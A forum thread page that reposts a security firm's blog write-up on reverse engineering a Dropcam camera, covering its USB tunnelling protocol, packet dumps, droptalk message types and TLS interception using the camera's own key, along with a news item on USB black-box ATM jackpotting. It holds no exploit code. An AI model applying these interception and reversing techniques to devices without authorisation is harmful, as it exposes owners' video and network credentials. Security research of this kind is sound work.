ECDHE-RSA-AES128-SHA:ECDHE-RSA-AES256-SHA The ECDHE key exchange method made performing a man-in-the-middle on the droptalk connection harder because most tools that I tried to use didn't support that key exchange algorithm. However, I was able to hack some code together that given the camera's private key and certificate would let me intercept and examine the draptalk traffic between my patched connect binary and the Dropcam servers. Here's a picture of my test setup: My Linux machine was configured to act as a wireless access point, using iptables to redirect the dropcam traffic to my listening droptalk interception process. In addition, I had a serial terminal connected to the Dropcam's serial port so I could upload the patched connect binary and examine its behavior. The droptalk protocol is simple – there is a 3-byte header consisting of a one-byte message type followed by a big-endian two-byte length field. Luckily, there is a function in the connect binary for converting droptalk message type identifiers (the first byte in the header) to human-readalble strings for inclusion in debug output: The function provides us with this list of droptalk message types: 00 RESERVED 01 REDIRECT 02 START_STREAM 03 STOP_STREAM 04 WIFI_SCAN 05 WIFI_CONNECT 06 RESTART 07 UPDATE 08 DEBUG 09 SET_STATUS_LIGHT 0a SET_ILLUMINATOR_LIGHT 0b SET_AUDIO_GAIN 0c STOP_BACKFILL 0d AUDIO_PAYLOAD 0e SET_IR_LED 0f SET_DPTZ 10 FORCE_IDR 11 EXEC 12 SET_WATERMARK 13 AUDIO_SOUND 14 SET_IMAGE_PROPERTIES 40 PING 80 HELLO 81 STREAM_BEGIN 82 STREAM_END 83 RTP 84 WIFI_SCAN_LIST 85 WIFI_CONNECT_STATUS 86 EVENT 87 BACKFILL_COMPLETE 8a UPDATE_RESULT 8c OFFLINE_DIAGNOSTIC_REPORT 8e STATUS_REPORT Message types 0x01 through 0x14 appear to be messages that are sent to the camera, while types 0x80 through 0x8e appear to be intended to originate from the camera. Most of the droptalk messages contain protobufs which are decoded in the Lua code. For example, here's the first HELLO packet that my Dropcam sends when it connects to nexus.dropcam.com, decoded with the protoc tool: 7: "Dropcam Connect - Version: 162, Build: 57 (jenkins-connect-release-node=linux-57, a29560dbb0724e7dbafb19b9ac1268b6fb62f1d6, origin/hotfix/basil)" 9: 2 8: "Build: 181 (jenkins-ambarella-181, 8732f64a79aecdd16bf6562775015c303d71c839), Linux: Linux Ambarella 2.6.38.8 #15 PREEMPT Mon Oct 1 16:59:51 PDT 2012 armv6l GNU/Linux" 1: 1 5: 3 6: 15 4: "0.0.0.0" 2: 4 3: 162 The nexus.dropcam.com server always replies with a REDIRECT to an “oculus” server: 1: "oculus121.dropcam.com" The client then connects to the “oculus” server and sends another HELLO packet. Most of the configuration options in the Dropcam web interface correspond to droptalk messages that are sent to the camera. When the server is ready to receive data, it sends a START_STREAM message with some video parameters in it. Video data is sent from the camera in RTP droptalk messages containing RTP formatted video data. Conclusions In this post I've written about the process of reverse engineering the Dropcam from the point of opening the case to having a basic understanding of its network protocols. With the information we've gathered, you could start to piece together a protobuf definition file (.proto file) for the various message types and write your own droptalk client or server. Alternatively, you could use the root shell on the Dropcam to modify or add to its functionality. Comment below, email us, or tweet @InCludeSecurity if you try these things, we'd love to hear what modifications you make to your Dropcam. Source
  22. The "Internet of Things" marketplace has been blowing up recently, and towards the end of last year we began seeing a lot of demand for security assessments of these types of platforms. To practice, we wanted to reverse engineer a consumer platform from scratch and look around for security vulnerabilities. What follows is the first of a three-part series on what we were able to do with the Dropcam. Through this research, we found the Dropcam has a pretty solid security model, so no 0day in this post. That being said, this type of reversing work is the most important prerequisite for finding security vulnerabilities, so we thought it would be great to share our findings and techniques with the security and reverse engineering communities. Hope you enjoy, and leave a comment if you have any further ideas to extend what we're showing here. For those that don't know, the Dropcam is a cloud-based webcam. It connects to the internet over WiFi, and users interact through it entirely via the dropcam.com web interface, or through a mobile app. We purchased some Dropcam cameras to find out more about how it works. In this series, you'll get an idea of how the process of reversing a device like the Dropcam works including the tools we use and how we use them. This project ultimately ends up going into hardware hacking, but as you'll see below, you can often gather a lot of information about how a device works before you open the case. Everything in this first post was done without taking the Dropcam apart, while our next posts will discuss taking it apart and some hardware hacking basics. Getting the Dropcam connected to the WiFi As I was opening the Dropcam box, one of the first questions I asked was: how does it set up its WiFi connection? It's supposed to connect to your WiFi and present a configuration interface through dropcam.com, but it must have to learn at least your WiFi SSID first to do that. The documentation tells you to plug the USB cable into your computer and run through setup. When you plug your Dropcam's USB cable into your computer, the camera enumerates as a USB mass storage device with a few files on it, including setup binaries for both MacOS and Windows: $ find . . ./.dcdata ./.dcdata/volume.ico ./.dcdata/offset ./Setup Dropcam (Macintosh).app ./Setup Dropcam (Macintosh).app/Contents ./Setup Dropcam (Macintosh).app/Contents/Resources ./Setup Dropcam (Macintosh).app/Contents/Resources/English.lproj ./Setup Dropcam (Macintosh).app/Contents/Resources/English.lproj/InfoPlist.strings ./Setup Dropcam (Macintosh).app/Contents/Resources/OSXSetup.icns ./Setup Dropcam (Macintosh).app/Contents/Info.plist ./Setup Dropcam (Macintosh).app/Contents/PkgInfo ./Setup Dropcam (Macintosh).app/Contents/MacOS ./Setup Dropcam (Macintosh).app/Contents/MacOS/Setup Dropcam (Macintosh) ./Setup Dropcam (Macintosh).app/winicon.ico ./Setup Dropcam (Macintosh).app/desktop.ini ./Setup Dropcam (Windows).exe ./._Setup Dropcam (Windows).exe ./.VolumeIcon.icns ./._.VolumeIcon.icns ./._? ./autorun.inf ./.hidden Here are a few lines from the output of lsusb on the host computer: ID 0525:a4a5 Netchip Technology, Inc. Linux-USB File Storage Gadget ... idVendor 0x0525 Netchip Technology, Inc. idProduct 0xa4a5 Linux-USB File Storage Gadget ... iManufacturer 2 Linux 2.6.38.8 with ambarella_udc iProduct 3 Dropcam Setup ... When I ran the setup binary, it opened a web browser to https://www.dropcam.com/setup/d024378182da4f37b0e981946989f40a?cv=140&fv=15&hv=3&platform=windows The 32-character string in the URL is the unique identifier of my Dropcam. As you go through the web interface to set up the Dropcam, your browser eventually gets sent a JSON blob from a Dropcam web server containing a list of network SSIDs, BSSIDs, and other details of wireless networks near the camera. This data is presented in a list so that the user can pick which access point they want their camera to connect to. How does the server get the list of WiFi networks? It must be communicating with the Dropcam, but at first it's not clear how. When the device is plugged in to a USB port, the Dropcam appears only as a mass storage device so somehow a mass storage device is talking to the Internet through my computer? To investigate further, I set up the testing environment depicted here: The executable ran in a Windows virtual machine with Process Monitor from the Sysinternals Suite inspecting its behavior, while I captured USB traffic and network traffic from the setup executable using two instances of Wireshark on my Linux host machine. The setup executable also started the Chrome browser in the Windows VM, which I configured to use Burp suite as a proxy. Process Monitor gave me an initial idea of what was going on: The setup binary is first reading the .dcdata/offset file (1), then doing reads and writes directly to the "disk" (2). The .dcdata/offset file is simply a text file with a number in it: $ cat .dcdata/offset 1312768 You can see that 1312768 is the byte-offset into the "disk" where the setup executable is reading and writing (3). Wireshark lets us see the actual data that is being transferred back and forth. Here's a screenshot of part of the USB capture: You can see that a SCSI Write command is being made to logical block address 0xa04, with length 4 (1). 0xa04 is 2564, which multiplied by the 512-byte block size is byte 1312768. The length 4 multiplied by 512 is 2048 bytes; this write corresponds to the highlighted WriteFile command in the Process Monitor screenshot. The data being written is shown in the hexdump (2) of the URB_BULK packet (3) following the SCSI Write command packet. What's happening is that the setup binary is communicating with the Dropcam by reading and writing network packets from and to a "magic" address on the USB mass storage "disk". By looking at multiple packets being sent over this USB channel and reading the setup binary in IDA, I was able to get an idea of the protocol. Above is a screenshot from the IDA Pro disassembly of the Macintosh setup binary (the Mac binary had more symbols and was easier to read than the Windows binary). The screenshot shows a portion of the code involved in decoding received packets. All the packets that I captured started with the magic big-endian number 0xd409ca11. I found this code by searching in IDA for that number. You can see that that number (1) is confirmed to be a magic number by an error message that is reached when the first 4 bytes are non-zero and don't equal 0xd409ca11 (2). In addition, bytes six and seven (3) appear to be a big-endian sequence number according to another error message (4), and bytes 8 and 9 (5) turn out to be a big-endian length field. Also, the remaining two bytes – 4 and 5 – appear to increment from -1 in packets with no payload from the setup binary to the Dropcam; it is presumed that these are acknowledgment packets. Here are some packets, extracted from my USB Wireshark capture: Init packet, setup -> dropcam: d4 09 ca 11 ff ff 00 00 00 05 00 ff ff 00 00 .............. Init response packet, dropcam -> setup: d4 09 ca 11 00 00 00 00 01 25 00 ff ff 01 08 64 .........%.....d 30 32 34 33 37 38 31 38 32 64 61 34 66 33 37 62 024378182da4f37b 30 65 39 38 31 39 34 36 39 38 39 66 34 30 61 00 0e981946989f40a. 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 8c 00 00 00 0f 02 00 01 00 13 01 bb 6e 65 ..............ne 78 75 73 2e 64 72 6f 70 63 61 6d 2e 63 6f 6d xus.dropcam.com Ack, setup -> dropcam d4 09 ca 11 ff ff 00 01 00 00 .......... Data, dropcam -> setup d4 09 ca 11 00 00 00 01 00 81 03 00 01 00 7c 16 ..............|. 03 01 00 77 01 00 00 73 03 01 4d e5 e3 9d c8 16 ...w...s..M..... 17 eb d7 4e 78 42 02 2e ef 7d 4b 14 d9 2b ad fe ...NxB...}K..+.. f2 e4 84 68 49 1f 0f fc 00 ab 00 00 06 c0 13 c0 ...hI........... 14 00 ff 01 00 00 44 00 0b 00 04 03 00 01 02 00 ......D......... 0a 00 34 00 32 00 01 00 02 00 03 00 04 00 05 00 ..4.2........... 06 00 07 00 08 00 09 00 0a 00 0b 00 0c 00 0d 00 ................ 0e 00 0f 00 10 00 11 00 12 00 13 00 14 00 15 00 ................ 16 00 17 00 18 00 19 00 23 00 00 ........#.. Ack, setup -> dropcam d4 09 ca 11 00 00 00 02 00 00 .......... Data, setup -> dropcam d4 09 ca 11 00 01 00 03 06 1b 03 00 01 06 16 16 ................ 03 01 06 11 02 00 00 4d 03 01 52 61 ba a6 7f 84 .......M..Ra.... 26 84 98 0d ed 96 f2 07 e2 90 30 9c 6d 21 9d 4f &.........0.m!.O fa 80 8f 91 3f 75 ba bd 01 d6 20 52 61 ba a6 7b ....?u.... Ra..{ f6 97 94 dc 02 28 3c 49 2c 2b c4 18 f8 8d df f3 .....(<I,+...... ac e9 de d3 06 fe bc ed 25 dd 7f c0 13 00 00 05 ........%....... ff 01 00 01 00 0b 00 03 0b 00 03 08 00 03 05 30 ...............0 82 03 01 30 82 01 e9 02 05 00 ed f7 59 0d 30 0d ...0........Y.0. 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 30 47 31 ..*.H........0G1 0b 30 09 06 03 55 04 06 13 02 55 53 31 26 30 24 .0...U....US1&0$ 06 03 55 04 03 13 1d 44 72 6f 70 63 61 6d 20 43 ..U....Dropcam C 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f ertificate Autho 72 69 74 79 31 10 30 0e 06 03 55 04 0a 13 07 44 rity1.0...U....D 72 6f 70 63 61 6d 30 22 18 0f 32 30 30 31 30 31 ropcam0"..200101 30 31 30 30 30 30 30 30 5a 18 0f 32 30 35 30 30 01000000Z..20500 31 30 31 30 30 30 30 30 30 5a 30 3e 31 0b 30 09 101000000Z0>1.0. 06 03 55 04 06 13 02 55 53 31 1d 30 1b 06 03 55 ..U....US1.0...U 04 03 13 14 6f 63 75 6c 75 73 37 34 2e 64 72 6f ....oculus74.dro 70 63 61 6d 2e 63 6f 6d 31 10 30 0e 06 03 55 04 pcam.com1.0...U. 0a 13 07 44 72 6f 70 63 61 6d 30 82 01 22 30 0d ...Dropcam0.."0. (etc.) The setup binary starts out by sending an initialization command to the Dropcam (command 00 ff ff 00 00). The Dropcam replies with a packet containing its UUID (so the setup binary knows where to point the web browser), and a host for the setup binary to initiate a TCP connection to (nexus.dropcam.com). After that, every packet contains a 5-byte sub-header (the first byte is 0x03, the last two bytes are a length field), followed by data. This same data was captured by my other Wireshark instance which was capturing a TCP connection made from the setup binary to nexus.dropcam.com via a TLSv1 connection. The Dropcam requests a TCP connection be made, and the setup binary tunnels all of that connection's traffic over the USB mass storage channel. So this is how the Dropcam connects to the internet: it appears as a USB mass storage device containing a setup executable to the host computer; the setup binary then tunnels a connection from the Dropcam over the USB link by reading and writing at a particular offset into the raw "disk" and connecting out to the internet using the host computer's internet connection. Meanwhile, the user is presented with a list of WiFi networks that the cloud server obtained over the tunneled connection. The user picks their network in the web interface, and types in their WiFi password. The selected network and password are then sent in a POST request to the cloud server, which pushes the password down to the camera, again over the tunneled connection. Considerations for WiFi password privacy Something that users should be aware of is that this approach requires users to upload their network password to the dropcam.com server, and it might not be clear to a non-technical user that they are doing this. Dropcam (the company) probably isn't doing anything directly with the transmitted WiFi encryption passwords, but there's no guarantee that an attacker who could compromise the Dropcam cloud servers wouldn't. It's always a good practice to avoid sending confidential data to the cloud instead of making the setup binary directly communicate the WiFi information to the camera, so we're not sure if there is some other product architecture reason to do this that we're not aware of. Further exploring the encrypted connections The Dropcam makes two outgoing TLS connections over the USB tunnel. The first is to nexus.dropcam.com; that connection directs the camera to connect to an “oculus” server; my Dropcam connected to oculus101.dropcam.com. The camera itself makes the same two TLS connections over WiFi once it is configured; a short connection to nexus.dropcam.com followed by a long-term connection to an “oculus” server. The long-term connection is used for all of the camera's communications including streaming video, configuration changes, and firmware updates. After understanding how the Dropcam tunnels its TLS connections out over the mass storage interface, the next step was to attempt a man-in-the-middle attack on the TLS connections in order to capture their contents. However, the TLS connections utilize both client and server side certificate verification - when making the outgoing TLS connections, the Dropcam checks the server's certificate, and the server also checks the Dropcam's client certificate. Since the TLS connection endpoint is on the camera itself (not in the setup binary), I wasn't able to inspect the contents of the TLS connection until after I'd taken the Dropcam apart, which I'll describe in our next Dropcam blog post. Source
      • 1
      • Upvote
  23. Inceteaza sa mai faci offtopic e vorba despre furtul din ATM dar este alt articol. Cu asta am zis tot.
  24. faciubuci daca nu observi este alta stire nu e aceasi... Ma refer ca este de pe alt site si este diferita fata de cea postata de nytro.
  25. Carders have jackpotted an ATM by inserting a circuit board into the USB ports of an ATM, tricking it into spitting out cash. The technique was thought to have emulated the cash dispenser of the ATM so the brains of the machine thought everything was normal, buying additional time for the brazen crooks to make off with the cash. A Samsung Galaxy S4 was then used by a remote attacker to issue commands to the dispenser, cybercrime scribe Brian Krebs reported. NCR global security manager Charlie Harrow said the circuit board gives crime lords control, but the folks who install it are not necessarily the real perps. "... you have the Mr. Big back at the hideout who's sending the commands, and the mules are the ones at the ATMs," Harrow said. "So the mule who has the black box is unable to activate the attack unless he gets the command from the Mr. Big, and the mobile phone is the best way to do that.” The amount of cash stolen was not revealed. The mobile phone component also made it difficult for investigators to piece together how the attackers pushed commands through to the cash dispenser. Investigators were unsure what commands were sent to the dispenser only that they were funneled through the phone. The type of attacks were increasing, NCR said. Most logical USB port attacks involved malware and only one other had used the type of black box equipment used here. ATM owners have been urged to avoid stand alone machines where possible, as they are more easily attacked. NCR has updated its encryption scheme so that a key is exchanged between the brains and dispenser after a specific authentication sequence, and hardened firmware preventing thieves from downgrading. Source
×
×
  • Create New...